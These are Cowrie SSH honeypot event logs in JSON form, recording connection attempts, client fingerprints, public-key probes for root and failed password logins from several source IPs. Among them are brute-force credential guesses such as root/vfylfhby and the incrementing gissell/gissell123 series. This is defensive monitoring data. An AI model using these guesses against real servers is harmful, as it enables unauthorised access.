{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:32:51.402097Z","src_ip":"103.173.227.57","session":"b115747c8b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfylfhby","message":"login attempt [root/vfylfhby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:32:52.119561Z","src_ip":"103.173.227.57","session":"b115747c8b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:32:53.377422Z","src_ip":"103.173.227.57","session":"b115747c8b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":34244,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c244caee63","protocol":"ssh","message":"New connection: 89.223.69.22:34244 (10.17.0.5:22) [session: 96c244caee63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:33:28.637334Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":49528,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb0a185e527d","protocol":"ssh","message":"New connection: 193.32.162.151:49528 (159.203.135.109:22) [session: eb0a185e527d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:33:40.265356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:33:40.269987Z","src_ip":"193.32.162.151","session":"eb0a185e527d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:33:40.374089Z","src_ip":"193.32.162.151","session":"eb0a185e527d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"12345678","message":"login attempt [master/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:33:40.733191Z","src_ip":"193.32.162.151","session":"eb0a185e527d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:33:41.841315Z","src_ip":"193.32.162.151","session":"eb0a185e527d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.42.205.100","src_port":32930,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b88143206e4","protocol":"ssh","message":"New connection: 194.42.205.100:32930 (10.17.0.5:22) [session: 1b88143206e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:39.799515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:39.806265Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:39.923795Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:78:43:e6:7a:48:46:d0:3e:e0:33:1d:71:6f:2f:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnInAR599kAbl8YrQknW60JOfaNfmjn263IokZftn97Z21kCm9dygDTAuVUZlcQKu/mpEZGFeGcJnqXF+05ELCgKcdznp9ndZJhVkgaHLT7nzT08lDlLvajkQRegVVSsnzyRMHzKrrJgOeTA5KxEEAkk7CFJF6TwSg/HnOL0KqwnkmfkvMYtyLT+haBHYcleLe5yI00hBLT3hYi0DDkPM1cOYGTqV5yLFNyVTtP+XhrRZxMIGlJP6ef577vnMaJjTXwjzLH0xWkgFNKH0dJILtr+uMKak9GMcEfBBtjxwYb/sL0NnRYNcqM4g1hOGJRwohfwPSfTTnqakXcNex4Rjp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:78:43:e6:7a:48:46:d0:3e:e0:33:1d:71:6f:2f:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:40.477696Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:78:43:e6:7a:48:46:d0:3e:e0:33:1d:71:6f:2f:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnInAR599kAbl8YrQknW60JOfaNfmjn263IokZftn97Z21kCm9dygDTAuVUZlcQKu/mpEZGFeGcJnqXF+05ELCgKcdznp9ndZJhVkgaHLT7nzT08lDlLvajkQRegVVSsnzyRMHzKrrJgOeTA5KxEEAkk7CFJF6TwSg/HnOL0KqwnkmfkvMYtyLT+haBHYcleLe5yI00hBLT3hYi0DDkPM1cOYGTqV5yLFNyVTtP+XhrRZxMIGlJP6ef577vnMaJjTXwjzLH0xWkgFNKH0dJILtr+uMKak9GMcEfBBtjxwYb/sL0NnRYNcqM4g1hOGJRwohfwPSfTTnqakXcNex4Rjp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:40.480923Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:25:24:a2:fd:39:d2:ba:22:73:77:15:d9:7a:b2:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD7+ZxBnJ67FGjaln6gIH/Dc9yJpR6pBwaIoRSndPdQMXwe+qGFCyEXvZrQxY1xZ0zdQGsOD5GpYwQTV/sagnnpw+YmttwkmOx0sskxy5ymOV3+DRNiSHodJ7P9RvlYz1o1jQYonqKBm0Tf89uSUo/TBy5RgS+CttiDKvzVxc2qBQIvJLuzFCIASPs8r/DRTJ0cH3Q6xF3bcqX+IkeVW5nEjf1rfjKb+V/XLA8rxro5RnG9VcNiNCpCOgh/jAeRQF8U7QD02RG9Uzz4ORdWqzKcbuioMmwxRfmNejng41RAcNpi7rXGN+zWnrlOrer9IRbW89nHjjlUMBXb0GEYhLJp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:25:24:a2:fd:39:d2:ba:22:73:77:15:d9:7a:b2:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:40.595886Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:25:24:a2:fd:39:d2:ba:22:73:77:15:d9:7a:b2:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD7+ZxBnJ67FGjaln6gIH/Dc9yJpR6pBwaIoRSndPdQMXwe+qGFCyEXvZrQxY1xZ0zdQGsOD5GpYwQTV/sagnnpw+YmttwkmOx0sskxy5ymOV3+DRNiSHodJ7P9RvlYz1o1jQYonqKBm0Tf89uSUo/TBy5RgS+CttiDKvzVxc2qBQIvJLuzFCIASPs8r/DRTJ0cH3Q6xF3bcqX+IkeVW5nEjf1rfjKb+V/XLA8rxro5RnG9VcNiNCpCOgh/jAeRQF8U7QD02RG9Uzz4ORdWqzKcbuioMmwxRfmNejng41RAcNpi7rXGN+zWnrlOrer9IRbW89nHjjlUMBXb0GEYhLJp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:40.599670Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:18:5e:da:85:fa:6d:a9:2f:41:38:6b:2c:a4:57:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1pbAEnRBZjwcFFId+zdCrSMAaipMR+FaPsWxO8/YS2P7pBsYFv7wRnCBctZgAViQtMJaANwKfNL9gTkawf0sYIGMj/Mmm+pRJQN/gAcMhVhGZhi22RKIeZjNDB5o8i9emgrIarBxdokMeOU/TAS0tsD9/XUYhM9Q8R9hJb/j0KplFSz4c0GavJs18ZEnEIh5UxF/iHFtDEj+wxNFlMeta9lh+5q4iisbnjnogDwQzCKVtR5uonXM7rxOViZlgDSLSHl+CBaih1qO+7IL0bm1jyxdk2/87kUlhfIr/1zrP1+VxRREQsLeVZdHch0VUZWr8HyuSO8F88l7MiSRD5OSP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:18:5e:da:85:fa:6d:a9:2f:41:38:6b:2c:a4:57:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:40.716907Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:18:5e:da:85:fa:6d:a9:2f:41:38:6b:2c:a4:57:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1pbAEnRBZjwcFFId+zdCrSMAaipMR+FaPsWxO8/YS2P7pBsYFv7wRnCBctZgAViQtMJaANwKfNL9gTkawf0sYIGMj/Mmm+pRJQN/gAcMhVhGZhi22RKIeZjNDB5o8i9emgrIarBxdokMeOU/TAS0tsD9/XUYhM9Q8R9hJb/j0KplFSz4c0GavJs18ZEnEIh5UxF/iHFtDEj+wxNFlMeta9lh+5q4iisbnjnogDwQzCKVtR5uonXM7rxOViZlgDSLSHl+CBaih1qO+7IL0bm1jyxdk2/87kUlhfIr/1zrP1+VxRREQsLeVZdHch0VUZWr8HyuSO8F88l7MiSRD5OSP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:40.720809Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:1a:ca:70:a3:26:48:b2:27:12:12:83:82:94:b8:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3vxXPQLIADD9zc/w/vI45i8COILUk6Z/dn9qsCLR57j66HHyi1po/nd/jxxVE3kVBtjoT3czij2Hy4yAz8PEu0TTQXJWqDBpBR6B2YHEJN1MaOxfHL4KbOku6juTj9ucUi+FBmCQsYzhdkdz8GlbDHJ3m+RP8Vrv0qyOyyNSSpHO7f0hSSGjn3t1f0IsysLNL5wG/ocW+zVH6aRDaVJmdNFXIUFR0bm7zfZ4lvPzWgHHIk2oUn5hZ0OWJKCkauLpup2Df2eYKpRyp10uY2MYX6G8w7v9PmCHbLsgvZ1vn9fEecxJOT88HKUlPWe82YYUD21BiUvHcJcjyArn+uT3Kw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:1a:ca:70:a3:26:48:b2:27:12:12:83:82:94:b8:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:40.840370Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:1a:ca:70:a3:26:48:b2:27:12:12:83:82:94:b8:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3vxXPQLIADD9zc/w/vI45i8COILUk6Z/dn9qsCLR57j66HHyi1po/nd/jxxVE3kVBtjoT3czij2Hy4yAz8PEu0TTQXJWqDBpBR6B2YHEJN1MaOxfHL4KbOku6juTj9ucUi+FBmCQsYzhdkdz8GlbDHJ3m+RP8Vrv0qyOyyNSSpHO7f0hSSGjn3t1f0IsysLNL5wG/ocW+zVH6aRDaVJmdNFXIUFR0bm7zfZ4lvPzWgHHIk2oUn5hZ0OWJKCkauLpup2Df2eYKpRyp10uY2MYX6G8w7v9PmCHbLsgvZ1vn9fEecxJOT88HKUlPWe82YYUD21BiUvHcJcjyArn+uT3Kw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:40.844332Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:b0:52:98:54:91:98:a6:a7:ea:40:1b:dc:5e:63:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoGzyoQaRcZH9M2TA+Zw42v56tFGHbZe0sAt43tjNMEcjmYCps5i+OgVRJBAR99NCrKzTizCSEhnnwQnwWpK9AW7e9pFMSPblaobkHTjU81+MrrYu1vt0BnJO1Low3RnM1jpVjlpd3jzegbUwmD+z7jZEOCKywSZzGxK0ulv/2tqEQIR0Mz0Q458jZwsvZ8jZXz+mfNjukOOaMi78cEPWlmlYO377xN9cEWs3ka56U30d//tsIndRku/BslQsulh7N7EoOtoeE0hC6Qh3bOfnovkqwuBBnEYR899PP8wWADlA8lskRm4zh/yPvkhTrSFPdv45/VTvTu1eTynEbAfI/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:b0:52:98:54:91:98:a6:a7:ea:40:1b:dc:5e:63:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:40.959847Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:b0:52:98:54:91:98:a6:a7:ea:40:1b:dc:5e:63:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoGzyoQaRcZH9M2TA+Zw42v56tFGHbZe0sAt43tjNMEcjmYCps5i+OgVRJBAR99NCrKzTizCSEhnnwQnwWpK9AW7e9pFMSPblaobkHTjU81+MrrYu1vt0BnJO1Low3RnM1jpVjlpd3jzegbUwmD+z7jZEOCKywSZzGxK0ulv/2tqEQIR0Mz0Q458jZwsvZ8jZXz+mfNjukOOaMi78cEPWlmlYO377xN9cEWs3ka56U30d//tsIndRku/BslQsulh7N7EoOtoeE0hC6Qh3bOfnovkqwuBBnEYR899PP8wWADlA8lskRm4zh/yPvkhTrSFPdv45/VTvTu1eTynEbAfI/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:40.963374Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:41.078152Z","src_ip":"194.42.205.100","session":"1b88143206e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":54738,"dst_ip":"10.17.0.5","dst_port":22,"session":"383f7df868eb","protocol":"ssh","message":"New connection: 194.113.233.25:54738 (10.17.0.5:22) [session: 383f7df868eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:52.978052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:52.984497Z","src_ip":"194.113.233.25","session":"383f7df868eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:53.074459Z","src_ip":"194.113.233.25","session":"383f7df868eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia3250","message":"login attempt [root/nokia3250] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:53.345127Z","src_ip":"194.113.233.25","session":"383f7df868eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:34:54.437941Z","src_ip":"194.113.233.25","session":"383f7df868eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":56994,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dcc818d60f7","protocol":"ssh","message":"New connection: 213.209.159.56:56994 (159.203.135.109:22) [session: 4dcc818d60f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:25.290917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:25.299491Z","src_ip":"213.209.159.56","session":"4dcc818d60f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:25.382237Z","src_ip":"213.209.159.56","session":"4dcc818d60f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gissell","password":"gissell","message":"login attempt [gissell/gissell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:25.783801Z","src_ip":"213.209.159.56","session":"4dcc818d60f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gissell","password":"gissell1","message":"login attempt [gissell/gissell1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:26.869159Z","src_ip":"213.209.159.56","session":"4dcc818d60f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gissell","password":"gissell123","message":"login attempt [gissell/gissell123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:27.961241Z","src_ip":"213.209.159.56","session":"4dcc818d60f7","protocol":"ssh"}
